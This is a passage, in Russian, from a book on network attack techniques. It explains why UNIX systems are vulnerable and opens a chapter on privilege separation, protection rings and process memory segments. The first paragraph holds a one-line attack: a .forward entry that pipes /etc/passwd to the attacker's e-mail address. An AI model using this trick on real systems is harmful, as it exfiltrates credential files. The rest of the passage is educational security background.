Техника сетевых атак

Касперски Крис

Кстати, если есть доступ к файлу “.forward”, то, добавив в него строку типа “|/bin/mail/ [e-mail] «/etc/passwd”, можно попробовать получить требуемый файл с доставкой на дом. (В приведенном примере содержимое файла /etc/passwd будет оправлено по адресу [e-mail]). Как нетрудно догадаться, здесь замешен конвейер и перенаправления ввода-вывода, подробно описанные в главе «Устройство конвейера и перенаправление ввода-вывода».

Конечно, главное условие успешности такой атаки - наличие дыр в каком-либо приложении, выполняющемся на удаленной машине. Сегодня все очевидные дыры уже залатаны, и слишком уж наивных ляпов от разработчиков ожидать не приходится. Тем не менее, те или иные ошибки выявляются чуть ли не ежедневно. Чтобы удостоверится в этом, достаточно заглянуть

на любой сайт, посвященный информационной безопасности (например, www.rootshell.com). Разумеется, открытые дыры существует недолго, - на сайте разработчиков периодически появляются исправления, а новые версии выходят уже с исправленными ошибками.

Вся надежда злоумышленника на халатность администратора, не позаботившегося установить свежие заплатки. Но на удивление таковых оказывается много, если не большинство. И огромное число успешных взломов - лишнее тому подтверждение. Шансы взломщика необыкновенно возрастают, если он обладает квалификацией достаточной для самостоятельного поиска дыр в системе. Подробнее об этом рассказано в главе «Технология срыва стека».

Итак, архитектура ядра UNIX позволяет некорректно работающим приложениям предоставить злоумышленнику привилегированный доступ в систему, поэтому потенциально любая UNIX - уязвима. Учитывая сложность современных программ и качество тестирования программного кода ошибки просто неизбежны. Для сравнения, программное обеспечение, используемое в космической технике, содержит менее одной ошибки на 10 тысяч строк кода. Типовая конфигурация сервера, работающего под управлением UNIX, может состоять более чем из миллиона строк исходного кода. Таким образом, в сложных приложениях, ошибки всегда гарантировано есть. Не факт, что хотя бы одна из них может привести к получению несанкционированного доступа, но очень, очень часто так именно и происходит.

А если еще вспомнить недостаточно качественную реализацию базовых протоколов TCP/IP (в той же 4 BSD UNIX), можно вообще удивиться, как UNIX после всего этого ухитряется работать. Спектр возможных целей атаки очень широк и не может быть полностью рассмотрен в рамках одной книги.

– Гуси спасли Рим, но никто не задумывается о их дальнейшей судьбе. А ведь гуси попали в суп. В спасенном же Риме. Так что на их судьбе факт спасения Рима никак не отразился. Представляете, что говорили их потомки: наш дедушка спас Рим, а потом его съели.".

Кир Булычев “Тринадцать лет пути”

Безопасность UNIX

O В этой главе:

O Механизм разделения привилегий

O Реализация и защита процессов

O Режимы выполнения процессов

O Механизмы вызова системных функций

O Средства межпроцессорного взаимодействия

O Пакет IPC (Interposes Communication)

O Ошибки реализации механизма разделяемой памяти

O Механизмы отладки приложений

O Идентификаторы процессов

"Прибор, защищаемый быстродействующим плавким предохранителем, сумеет защитить этот предохранитель, перегорев первым." Пятый закон Мэрфи

На протяжении большинства своей истории Unix был исследовательской повозкой для университетских и промышленных исследователей. С взрывом дешевых рабочий станций Unix вступил в новую эру, эру распространяемой платформы. Это изменение легко датировать: это случилось, когда поставщики рабочих станций выделили свои компиляторы языка C из своего стандартного комплекта программного обеспечения для того, чтобы понизить цены для не разработчиков. Точная запись границ этого изменения слегка неясна, но в основном это произошло в 1990. «Unix-haters handbook» Simson Garfinkel

В одно-пользовательских, однозадачных системах (наподобие MS-DOS) понятие «безопасность» обычно отсутствует в силу полной бессмысленности самой постановки вопроса. Одна машина, - один процесс и один супр-пользователь.

Другое дело многозадачные, многопользовательские системы. В той же UNIX

на одной машине приходится исполнять задачи различных пользователей. Поэтому, потенциально возможно несанкционированное вмешательство одного пользователя в дела другого. Ведь все задачи выполняются одним процессором (даже в многопроцессорных системах невозможно закрепить персональной процессор за каждой задачей) и разделяют одну и ту же физическую память. Если не предпринять определенных мер, любой пользователь сможет произвольным образом вклиниваться в задачи другого со всеми вытекающими отсюда последствиями.

Ни у кого не вызывает удивления способность некорректно работающей программы, исполняющейся с наивысшими привилегиями, пустить злоумышленника в систему. Но возможно ли пользовательскому приложению захватить контроль над системой? Можно ли получить доступ к остальным пользовательским процессам? Вопросы не так глупы, как кажется.

Невозможно написать защищенную операционную систему без соответствующей аппаратной поддержки со стороны процессора. Иначе, очередная выполняемая инструкция может нейтрализовать или блокировать программный защитный механизм. Первые версии UNIX исполняли все задачи в одном адресном пространстве, и одна из них могла «дотянуться» до другой и произвольным образом вмешаться в ее работу. Современные микропроцессоры спроектированы с учетами требований безопасности и поддерживают логические адресные пространства, обеспечивают защиту отдельных регионов памяти и имеют, так называемые, «кольца защиты». С каждым кольцом связан набор инструкций определенных привилегий, подобранных таким образом, чтобы код, исполняющийся в менее привилегированном кольце, не мог повлиять на более привилегированное. Поэтому, в правильно спроектированной операционной системе при условии отсутствия ошибок реализации, пользовательский код не может получить привилегированного доступа.

На самом деле, это очень упрошенная схема. Если бы менее привилегированный код не мог вызывать более привилегированный, то никакое бы пользовательское приложение не могло бы обращаться к операционной системе, исполняющейся в кольце с наивысшими привилегиями. Значит, должен существовать механизм вызова привилегированного кода из непривилегированного кольца.

А это автоматически разрушает всю стройную пирамиду безопасности. Если пользовательский код сможет передать управление на требуемые ему команды (или подпрограммы) привилегированного кода, то все кольца защиты слетят к черту. Так ли на самом деле надежна UNIX или это только кажется?

Минимальной единицей исполнения в UNIX является процесс. Процесс (в простейшем определении) это последовательность операций выполнения программы. Но кроме машинных инструкций еще существуют данные и стек, причем каждый процесс выполняется в собственном адресном пространстве. Поэтому, технически более правильно говорить о процессе, как экземпляре выполняемой программы.

Каждый процесс в UNIX обладает собственным адресным пространством, набором регистров процессора и стеком, - все они определяют состояние процессора, иначе называемое контекстом. В адресном пространстве расположены: сегмент [111] исполняемого кода (в терминологии UNIX называемый «текстом» - text), сегмент данных (BSS - сокращение, позаимствованное из ассемблера для компьютера IBM 7090, расшифровывающиеся как "block started by symbol" - блок, начинающийся с символа) и сегмента стека (STACK). Сегменты “text” и “BSS” соответствуют одноименным секциям исполняемого файла, а сегмент стека формируется операционной системой автоматически, при создании процесса.

Врезка «замечание»

Названия секций “text” и “BBS” благополучно перекочевали в среду Windows. Убедиться в этом можно, запустив утилиту dumpbin (входит в SDK, поставляемый с любым Windows-компилятором), например, таким образом:

· dumpbin /SUMMARY C:\WINDOWS\SYSTEM\Netbios.dll

·

· Microsoft (R) COFF Binary File Dumper Version 6.00.8168

· Copyright (C) Microsoft Corp 1992-1998. All rights reserved.